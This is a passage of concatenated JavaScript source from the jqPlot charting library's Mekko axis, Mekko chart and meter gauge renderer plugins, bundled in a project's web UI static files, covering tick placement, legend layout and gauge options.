Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); } else { this._label._elem.css('right', '0px'); } this._label.pack(); } } } }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.mekkoAxisRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // class: $.jqplot.MekkoAxisRenderer // An axis renderer for a Mekko chart. // Should be used with a Mekko chart where the mekkoRenderer is used on the series. // Displays the Y axis as a range from 0 to 1 (0 to 100%) and the x axis with a tick // for each series scaled to the sum of all the y values. $.jqplot.MekkoAxisRenderer = function() { }; // called with scope of axis object. $.jqplot.MekkoAxisRenderer.prototype.init = function(options){ // prop: tickMode // How to space the ticks on the axis. // 'bar' will place a tick at the width of each bar. // This is the default for the x axis. // 'even' will place ticks at even intervals. This is // the default for x2 axis and y axis. y axis cannot be changed. this.tickMode; // prop: barLabelRenderer // renderer to use to draw labels under each bar. this.barLabelRenderer = $.jqplot.AxisLabelRenderer; // prop: barLabels // array of labels to put under each bar. this.barLabels = this.barLabels || []; // prop: barLabelOptions // options object to pass to the bar label renderer. this.barLabelOptions = {}; this.tickOptions = $.extend(true, {showGridline:false}, this.tickOptions); this._barLabels = []; $.extend(true, this, options); if (this.name == 'yaxis') { this.tickOptions.formatString = this.tickOptions.formatString || "%d\%"; } var db = this._dataBounds; db.min = 0; // for y axes, scale always go from 0 to 1 (0 to 100%) if (this.name == 'yaxis' || this.name == 'y2axis') { db.max = 100; this.tickMode = 'even'; } // For x axes, scale goes from 0 to sum of all y values. else if (this.name == 'xaxis'){ this.tickMode = (this.tickMode == null) ? 'bar' : this.tickMode; for (var i=0; i<this._series.length; i++) { db.max += this._series[i]._sumy; } } else if (this.name == 'x2axis'){ this.tickMode = (this.tickMode == null) ? 'even' : this.tickMode; for (var i=0; i<this._series.length; i++) { db.max += this._series[i]._sumy; } } }; // called with scope of axis $.jqplot.MekkoAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; var elem = document.createElement('div'); this._elem = $(elem); this._elem.addClass('jqplot-axis jqplot-'+this.name); this._elem.css('position', 'absolute'); elem = null; if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // draw the axis label // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { this._elem.append(this._label.draw(ctx)); } var t, tick, elem; if (this.showTicks) { t = this._ticks; for (var i=0; i<t.length; i++) { tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { this._elem.append(tick.draw(ctx)); } } } // draw the series labels for (i=0; i<this.barLabels.length; i++) { this.barLabelOptions.axis = this.name; this.barLabelOptions.label = this.barLabels[i]; this._barLabels.push(new this.barLabelRenderer(this.barLabelOptions)); if (this.tickMode != 'bar') { this._barLabels[i].show = false; } if (this._barLabels[i].show) { var elem = this._barLabels[i].draw(ctx, plot); elem.removeClass('jqplot-'+this.name+'-label'); elem.addClass('jqplot-'+this.name+'-tick'); elem.addClass('jqplot-mekko-barLabel'); elem.appendTo(this._elem); elem = null; } } } return this._elem; }; // called with scope of an axis $.jqplot.MekkoAxisRenderer.prototype.reset = function() { this.min = this._min; this.max = this._max; this.tickInterval = this._tickInterval; this.numberTicks = this._numberTicks; // this._ticks = this.__ticks; }; // called with scope of axis $.jqplot.MekkoAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var lshow = (this._label == null) ? false : this._label.show; if (this.show && this.showTicks) { var t = this._ticks; for (var i=0; i<t.length; i++) { var tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { if (this.name == 'xaxis' || this.name == 'x2axis') { temp = tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name == 'xaxis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name == 'x2axis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name == 'yaxis') { dim = dim + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else { dim = dim + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; // called with scope of axis $.jqplot.MekkoAxisRenderer.prototype.createTicks = function() { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var dim, interval; var min, max; var pos1, pos2; var t, tt, i, j; // if we already have ticks, use them. // ticks must be in order of increasing value. if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if (ut.constructor == Array) { t.value = ut[0]; t.label = ut[1]; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(ut[0], this.name); this._ticks.push(t); } else { t.value = ut; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(ut, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.tickInterval = (this.max - this.min) / (this.numberTicks - 1); } // we don't have any ticks yet, let's make some! else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } // if min, max and number of ticks specified, user can't specify interval. if (this.min != null && this.max != null && this.numberTicks != null) { this.tickInterval = null; } min = (this.min != null) ? this.min : db.min; max = (this.max != null) ? this.max : db.max; // if min and max are same, space them out a bit.+ if (min == max) { var adj = 0.05; if (min > 0) { adj = Math.max(Math.log(min)/Math.LN10, 0.05); } min -= adj; max += adj; } var range = max - min; var rmin, rmax; var temp, prev, curr; var ynumticks = [3,5,6,11,21]; // yaxis divide ticks in nice intervals from 0 to 1. if (this.name == 'yaxis' || this.name == 'y2axis') { this.min = 0; this.max = 100; // user didn't specify number of ticks. if (!this.numberTicks){ if (this.tickInterval) { this.numberTicks = 3 + Math.ceil(range / this.tickInterval); } else { temp = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); for (i=0; i<ynumticks.length; i++) { curr = temp/ynumticks[i]; if (curr == 1) { this.numberTicks = ynumticks[i]; break; } else if (curr > 1) { prev = curr; continue; } else if (curr < 1) { // was prev or is curr closer to one? if (Math.abs(prev - 1) < Math.abs(curr - 1)) { this.numberTicks = ynumticks[i-1]; break; } else { this.numberTicks = ynumticks[i]; break; } } else if (i == ynumticks.length -1) { this.numberTicks = ynumticks[i]; } } this.tickInterval = range / (this.numberTicks - 1); } } // user did specify number of ticks. else { this.tickInterval = range / (this.numberTicks - 1); } for (var i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(tt, this.name); this._ticks.push(t); } } // for x axes, have number ot ticks equal to number of series and ticks placed // at sum of y values for each series. else if (this.tickMode == 'bar') { this.min = 0; this.numberTicks = this._series.length + 1; t = new this.tickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(0, this.name); this._ticks.push(t); temp = 0; for (i=1; i<this.numberTicks; i++){ temp += this._series[i-1]._sumy; t = new this.tickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(temp, this.name); this._ticks.push(t); } this.max = this.max || temp; // if user specified a max and it is greater than sum, add a tick if (this.max > temp) { t = new this.tickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(this.max, this.name); this._ticks.push(t); } } else if (this.tickMode == 'even') { this.min = 0; this.max = this.max || db.max; // get a desired number of ticks var nt = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); range = this.max - this.min; this.numberTicks = nt; this.tickInterval = range / (this.numberTicks - 1); for (i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(tt, this.name); this._ticks.push(t); } } } }; // called with scope of axis $.jqplot.MekkoAxisRenderer.prototype.pack = function(pos, offsets) { var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; // point to unit and unit to point conversions references to Plot DOM element top left corner. this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } var w; if (lshow) { w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); } else { this._label._elem.css('top', '0px'); } this._label.pack(); } // now show the labels under the bars. var b, l, r; for (var i=0; i<this.barLabels.length; i++) { b = this._barLabels[i]; if (b.show) { w = b.getWidth(); l = this._ticks[i].getLeft() + this._ticks[i].getWidth(); r = this._ticks[i+1].getLeft(); b._elem.css('left', (r+l-w)/2+'px'); b._elem.css('top', this._ticks[i]._elem.css('top')); b.pack(); } } } else { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); } else { this._label._elem.css('right', '0px'); } this._label.pack(); } } } }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.mekkoRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.MekkoRenderer * Draws a Mekko style chart which shows 3 dimensional data on a 2 dimensional graph. * the <$.jqplot.MekkoAxisRenderer> should be used with mekko charts. The mekko renderer * overrides the default legend renderer with its own $.jqplot.MekkoLegendRenderer * which allows more flexibility to specify number of rows and columns in the legend. * * Data is specified per bar in the chart. You can specify data as an array of y values, or as * an array of [label, value] pairs. Note that labels are used only on the first series. * Labels on subsequent series are ignored: * * > bar1 = [['shirts', 8],['hats', 14],['shoes', 6],['gloves', 16],['dolls', 12]]; * > bar2 = [15,6,9,13,6]; * > bar3 = [['grumpy',4],['sneezy',2],['happy',7],['sleepy',9],['doc',7]]; * * If you want to place labels for each bar under the axis, you use the barLabels option on * the axes. The bar labels can be styled with the ".jqplot-mekko-barLabel" css class. * * > barLabels = ['Mickey Mouse', 'Donald Duck', 'Goofy']; * > axes:{xaxis:{barLabels:barLabels}} * */ $.jqplot.MekkoRenderer = function(){ this.shapeRenderer = new $.jqplot.ShapeRenderer(); // prop: borderColor // color of the borders between areas on the chart this.borderColor = null; // prop: showBorders // True to draw borders lines between areas on the chart. // False will draw borders lines with the same color as the area. this.showBorders = true; }; // called with scope of series. $.jqplot.MekkoRenderer.prototype.init = function(options, plot) { this.fill = false; this.fillRect = true; this.strokeRect = true; this.shadow = false; // width of bar on x axis. this._xwidth = 0; this._xstart = 0; $.extend(true, this.renderer, options); // set the shape renderer options var opts = {lineJoin:'miter', lineCap:'butt', isarc:false, fillRect:this.fillRect, strokeRect:this.strokeRect}; this.renderer.shapeRenderer.init(opts); plot.axes.x2axis._series.push(this); this._type = 'mekko'; }; // Method: setGridData // converts the user data values to grid coordinates and stores them // in the gridData array. Will convert user data into appropriate // rectangles. // Called with scope of a series. $.jqplot.MekkoRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var data = this._plotData; this.gridData = []; // figure out width on x axis. // this._xwidth = this._sumy / plot._sumy * this.canvas.getWidth(); this._xwidth = xp(this._sumy) - xp(0); if (this.index>0) { this._xstart = plot.series[this.index-1]._xstart + plot.series[this.index-1]._xwidth; } var totheight = this.canvas.getHeight(); var sumy = 0; var cury; var curheight; for (var i=0; i<data.length; i++) { if (data[i] != null) { sumy += data[i][1]; cury = totheight - (sumy / this._sumy * totheight); curheight = data[i][1] / this._sumy * totheight; this.gridData.push([this._xstart, cury, this._xwidth, curheight]); } } }; // Method: makeGridData // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.MekkoRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data // figure out width on x axis. var xp = this._xaxis.series_u2p; var totheight = this.canvas.getHeight(); var sumy = 0; var cury; var curheight; var gd = []; for (var i=0; i<data.length; i++) { if (data[i] != null) { sumy += data[i][1]; cury = totheight - (sumy / this._sumy * totheight); curheight = data[i][1] / this._sumy * totheight; gd.push([this._xstart, cury, this._xwidth, curheight]); } } return gd; }; // called within scope of series. $.jqplot.MekkoRenderer.prototype.draw = function(ctx, gd, options) { var i; var opts = (options != undefined) ? options : {}; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var colorGenerator = new $.jqplot.ColorGenerator(this.seriesColors); ctx.save(); if (gd.length) { if (showLine) { for (i=0; i<gd.length; i++){ opts.fillStyle = colorGenerator.next(); if (this.renderer.showBorders) { opts.strokeStyle = this.renderer.borderColor; } else { opts.strokeStyle = opts.fillStyle; } this.renderer.shapeRenderer.draw(ctx, gd[i], opts); } } } ctx.restore(); }; $.jqplot.MekkoRenderer.prototype.drawShadow = function(ctx, gd, options) { // This is a no-op, no shadows on mekko charts. }; /** * Class: $.jqplot.MekkoLegendRenderer * Legend renderer used by mekko charts with options for * controlling number or rows and columns as well as placement * outside of plot area. * */ $.jqplot.MekkoLegendRenderer = function(){ // }; $.jqplot.MekkoLegendRenderer.prototype.init = function(options) { // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // this will override the placement option on the Legend object this.placement = "outside"; $.extend(true, this, options); }; // called with scope of legend $.jqplot.MekkoLegendRenderer.prototype.draw = function() { var legend = this; if (this.show) { var series = this._series; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); // Mekko charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = true, // mekko charts are always stacked, so reverse nr, nc; var s = series[0]; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (s.show) { var pd = s.data; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j, tr, td1, td2, lt, rs, color; var idx = 0; for (i=0; i<nr; i++) { if (reverse){ tr = $('<tr class="jqplot-table-legend"></tr>').prependTo(this._elem); } else{ tr = $('<tr class="jqplot-table-legend"></tr>').appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length) { lt = this.labels[idx] || pd[idx][0].toString(); color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ '<div><div class="jqplot-table-legend-swatch" style="border-color:'+color+';"></div>'+ '</div></td>'); td2 = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } tr = null; td1 = null; td2 = null; } } return this._elem; }; $.jqplot.MekkoLegendRenderer.prototype.pack = function(offsets) { if (this.show) { // fake a grid for positioning var grid = {_top:offsets.top, _left:offsets.left, _right:offsets.right, _bottom:this._plotDimensions.height - offsets.bottom}; if (this.placement == 'insideGrid') { switch (this.location) { case 'nw': var a = grid._left + this.xoffset; var b = grid._top + this.yoffset; this._elem.css('left', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = grid._top + this.yoffset; this._elem.css('left', a); this._elem.css('top', b); break; case 'ne': var a = offsets.right + this.xoffset; var b = grid._top + this.yoffset; this._elem.css({right:a, top:b}); break; case 'e': var a = offsets.right + this.xoffset; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; case 'se': var a = offsets.right + this.xoffset; var b = offsets.bottom + this.yoffset; this._elem.css({right:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = offsets.bottom + this.yoffset; this._elem.css({left:a, bottom:b}); break; case 'sw': var a = grid._left + this.xoffset; var b = offsets.bottom + this.yoffset; this._elem.css({left:a, bottom:b}); break; case 'w': var a = grid._left + this.xoffset; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; default: // same as 'se' var a = grid._right - this.xoffset; var b = grid._bottom + this.yoffset; this._elem.css({right:a, bottom:b}); break; } } else { switch (this.location) { case 'nw': var a = this._plotDimensions.width - grid._left + this.xoffset; var b = grid._top + this.yoffset; this._elem.css('right', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - grid._top + this.yoffset; this._elem.css('left', a); this._elem.css('bottom', b); break; case 'ne': var a = this._plotDimensions.width - offsets.right + this.xoffset; var b = grid._top + this.yoffset; this._elem.css({left:a, top:b}); break; case 'e': var a = this._plotDimensions.width - offsets.right + this.xoffset; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; case 'se': var a = this._plotDimensions.width - offsets.right + this.xoffset; var b = offsets.bottom + this.yoffset; this._elem.css({left:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - offsets.bottom + this.yoffset; this._elem.css({left:a, top:b}); break; case 'sw': var a = this._plotDimensions.width - grid._left + this.xoffset; var b = offsets.bottom + this.yoffset; this._elem.css({right:a, bottom:b}); break; case 'w': var a = this._plotDimensions.width - grid._left + this.xoffset; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; default: // same as 'se' var a = grid._right - this.xoffset; var b = grid._bottom + this.yoffset; this._elem.css({right:a, bottom:b}); break; } } } }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.MekkoRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.MekkoRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.MekkoAxisRenderer; options.legend.renderer = $.jqplot.MekkoLegendRenderer; options.legend.preDraw = true; } } $.jqplot.preInitHooks.push(preInit); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.meterGaugeRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.MeterGaugeRenderer * Plugin renderer to draw a meter gauge chart. * * Data consists of a single series with 1 data point to position the gauge needle. * * To use this renderer, you need to include the * meter gauge renderer plugin, for example: * * > <script type="text/javascript" src="plugins/jqplot.meterGaugeRenderer.js"></script> * * Properties described here are passed into the $.jqplot function * as options on the series renderer. For example: * * > plot0 = $.jqplot('chart0',[[18]],{ * > title: 'Network Speed', * > seriesDefaults: { * > renderer: $.jqplot.MeterGaugeRenderer, * > rendererOptions: { * > label: 'MB/s' * > } * > } * > }); * * A meterGauge plot does not support events. */ $.jqplot.MeterGaugeRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.MeterGaugeRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.MeterGaugeRenderer.prototype.constructor = $.jqplot.MeterGaugeRenderer; // called with scope of a series $.jqplot.MeterGaugeRenderer.prototype.init = function(options) { // Group: Properties // // prop: diameter // Outer diameter of the meterGauge, auto computed by default this.diameter = null; // prop: padding // padding between the meterGauge and plot edges, auto // calculated by default. this.padding = null; // prop: shadowOffset // offset of the shadow from the gauge ring and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 4; // prop: background // background color of the inside of the gauge. this.background = "#efefef"; // prop: ringColor // color of the outer ring, hub, and needle of the gauge. this.ringColor = "#BBC6D0"; // needle color not implemented yet. this.needleColor = "#C3D3E5"; // prop: tickColor // color of the tick marks around the gauge. this.tickColor = "#989898"; // prop: ringWidth // width of the ring around the gauge. Auto computed by default. this.ringWidth = null; // prop: min // Minimum value on the gauge. Auto computed by default this.min; // prop: max // Maximum value on the gauge. Auto computed by default this.max; // prop: ticks // Array of tick values. Auto computed by default. this.ticks = []; // prop: showTicks // true to show ticks around gauge. this.showTicks = true; // prop: showTickLabels // true to show tick labels next to ticks. this.showTickLabels = true; // prop: label // A gauge label like 'kph' or 'Volts' this.label = null; // prop: labelHeightAdjust // Number of Pixels to offset the label up (-) or down (+) from its default position. this.labelHeightAdjust = 0; // prop: labelPosition // Where to position the label, either 'inside' or 'bottom'. this.labelPosition = 'inside'; // prop: intervals // Array of ranges to be drawn around the gauge. // Array of form: // > [value1, value2, ...] // indicating the values for the first, second, ... intervals. this.intervals = []; // prop: intervalColors // Array of colors to use for the intervals. this.intervalColors = [ "#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"]; // prop: intervalInnerRadius // Radius of the inner circle of the interval ring. this.intervalInnerRadius = null; // prop: intervalOuterRadius // Radius of the outer circle of the interval ring. this.intervalOuterRadius = null; this.tickRenderer = $.jqplot.MeterGaugeTickRenderer; // ticks spaced every 1, 2, 2.5, 5, 10, 20, .1, .2, .25, .5, etc. this.tickPositions = [1, 2, 2.5, 5, 10]; // prop: tickSpacing // Degrees between ticks. This is a target number, if // incompatible span and ticks are supplied, a suitable // spacing close to this value will be computed. this.tickSpacing = 30; this.numberMinorTicks = null; // prop: hubRadius // Radius of the hub at the bottom center of gauge which the needle attaches to. // Auto computed by default this.hubRadius = null; // prop: tickPadding // padding of the tick marks to the outer ring and the tick labels to marks. // Auto computed by default. this.tickPadding = null; // prop: needleThickness // Maximum thickness the needle. Auto computed by default. this.needleThickness = null; // prop: needlePad // Padding between needle and inner edge of the ring when the needle is at the min or max gauge value. this.needlePad = 6; // prop: pegNeedle // True will stop needle just below/above the min/max values if data is below/above min/max, // as if the 